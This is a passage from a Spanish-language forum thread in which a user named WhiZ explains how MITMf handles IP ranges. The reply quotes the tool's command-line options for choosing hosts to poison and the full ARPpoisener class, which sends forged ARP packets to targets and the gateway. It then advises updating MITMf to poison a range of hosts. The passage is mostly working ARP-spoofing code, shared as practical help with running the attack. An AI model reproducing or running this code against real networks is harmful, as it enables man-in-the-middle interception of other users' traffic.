options.add_argument('--gatewaymac', dest='gatewaymac', help='Specify the gateway MAC [will auto resolve if ommited]')
options.add_argument('--targets', dest='targets', help='Specify host/s to poison [if ommited will default to subnet]')
options.add_argument('--ignore', dest='ignore', help='Specify host/s not to poison')
options.add_argument('--arpmode',type=str, dest='arpmode', default='rep', choices=["rep", "req"], help=' ARP Spoofing mode: replies (rep) or requests (req) [default: rep]')
Por último, en la última versión, dentro de la clase ARPpoisener (ARP.py), podemos ver cómo el método poison realiza un correcto tratamiento del rango de IPs:
#ARP.py
class ARPpoisener:
def start(self):
#create a L3 and L2 socket, to be used later to send ARP packets
#this doubles performance since send() and sendp() open and close a socket on each packet
self.s = conf.L3socket(iface=self.interface)
self.s2 = conf.L2socket(iface=self.interface)
if self.arpmode == 'rep':
t = threading.Thread(name='ARPpoisoner-rep', target=self.poison, args=('is-at',))
elif self.arpmode == 'req':
t = threading.Thread(name='ARPpoisoner-req', target=self.poison, args=('who-has',))
t.setDaemon(True)
t.start()
if self.targets is None:
log.debug('Starting ARPWatch')
t = threading.Thread(name='ARPWatch', target=self.start_arp_watch)
t.setDaemon(True)
t.start()
def poison(self, arpmode):
sleep(2)
while self.send:
if self.targets is None:
self.s2.send(Ether(src=self.mymac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mymac, psrc=self.gatewayip, op=arpmode))
elif self.targets:
for target in self.targets:
targetip = str(target)
if (targetip != self.myip) and (target not in self.ignore):
targetmac = self.resolve_target_mac(targetip)
if targetmac is not None:
try:
#log.debug("Poisoning {} <-> {}".format(targetip, self.gatewayip))
self.s2.send(Ether(src=self.mymac, dst=targetmac)/ARP(pdst=targetip, psrc=self.gatewayip, hwdst=targetmac, op=arpmode))
self.s2.send(Ether(src=targetmac, dst=self.gatewaymac)/ARP(pdst=self.gatewayip, psrc=targetip, hwdst=self.gatewaymac, op=arpmode))
except Exception as e:
if "Interrupted system call" not in e:
log.error("Exception occurred while poisoning {}: {}".format(targetip, e))
sleep(self.interval)
Conclusión, si querés indicar un rango de IPs, no te queda otra más que actualizar a la última versión de mitmf.
Espero haberte ayudado. Cualquier cosa, no dudes en preguntar.
Saludos!
WhiZ
Muchísimas Gracias WhiZ.